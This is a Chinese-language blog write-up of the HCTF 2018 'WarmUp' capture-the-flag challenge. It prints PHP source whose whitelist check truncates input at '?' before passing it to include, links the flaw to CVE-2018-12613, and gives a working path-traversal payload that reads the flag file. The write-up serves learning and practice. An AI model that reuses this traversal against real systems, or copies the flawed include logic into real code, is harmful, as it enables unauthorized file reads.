[HCTF 2018]WarmUp

 

知识点

  • 目录穿越
  • CVE-2018-12613

F12查看源码得到提示source.php,访问得到源码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 

访问hint.php得知flag在 ffffllllaaaagggg中
关键点

 #截取?前的所有字符
$_page = mb_substr(#mb_substr(str,start,length) 函数返回字符串的一部分
           $page,
        0,
        mb_strpos($page . '?', '?') #查找字符串在另一字符串中首次出现的位置 mb_strpos (haystack ,needle )
            );

 

查看三次是否在白名单中,截取两次?前的字符,进行一次url解码
尝试

payload:source.php?file=hint.php?ffffllllaaaagggg

无果

尝试目录穿越

source.php?file=hint.php?../../../../../ffffllllaaaagggg

得到flag

 

posted @ 2020-05-12 10:54  山野村夫z1  阅读(467)  评论(0编辑  收藏  举报